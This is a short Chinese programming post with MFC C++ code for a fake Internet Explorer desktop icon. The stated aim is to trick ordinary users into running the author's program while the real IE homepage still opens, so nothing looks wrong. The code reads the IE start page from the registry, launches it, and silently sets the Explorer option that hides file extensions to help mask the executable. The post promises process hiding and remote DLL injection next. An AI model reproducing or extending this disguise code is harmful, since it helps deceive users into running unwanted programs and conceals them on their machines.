1、先自己在网上找个IE的图标做资源
2、下面的代码目的是替换桌面上的IE图标,可以“忽悠”用户达到程序的运行权。咋的一看,IE一模一样,主页也没被修改,可双击打开的多了个你自己设定的网页,这样欺骗一下“普通用户”的视觉还是没问题的~~~~~~
- void CMFCDlg::OnBtnIe7()
- {
- // TODO: Add your control notification handler code here
- //读取IE主页设置、及IE路径
- TCHAR szExePath[] = _T("C://Program Files//Internet Explorer//IEXPLORE.EXE");
- char szStartPage[MAX_PATH];
- HKEY hKey1;
- // 打开注册表
- if(RegOpenKey(HKEY_CURRENT_USER,_T("Software//Microsoft//Internet Explorer//Main"),&hKey1)!=ERROR_SUCCESS)
- {
- MessageBox(_T("读取IE主页失败!"));
- return;
- }
- // 设置注册表键值
- DWORD dwSize = sizeof(szStartPage);
- RegQueryValueEx(hKey1,_T("Start Page"),NULL,NULL,(LPBYTE)szStartPage,&dwSize);
- RegCloseKey(hKey1);
- ShellExecute(NULL, "open", szStartPage, NULL, NULL, SW_SHOWNORMAL);
- //修改文件扩展名隐藏属性
- char buffer[]="Software//Microsoft//Windows//CurrentVersion//Explorer//Advanced";
- HKEY hKey2;
- DWORD Data=1;
- RegOpenKeyEx(HKEY_CURRENT_USER,buffer,0,KEY_ALL_ACCESS,&hKey2);
- RegSetValueEx(hKey2,"HideFileExt",0,REG_DWORD,(CONST BYTE*)&Data,4);
- RegCloseKey(hKey2);
- }
后面的功能还待完善,预计会在进程隐藏、远程DLL注入及不同IE版本等方面的予以改进,敬请关注!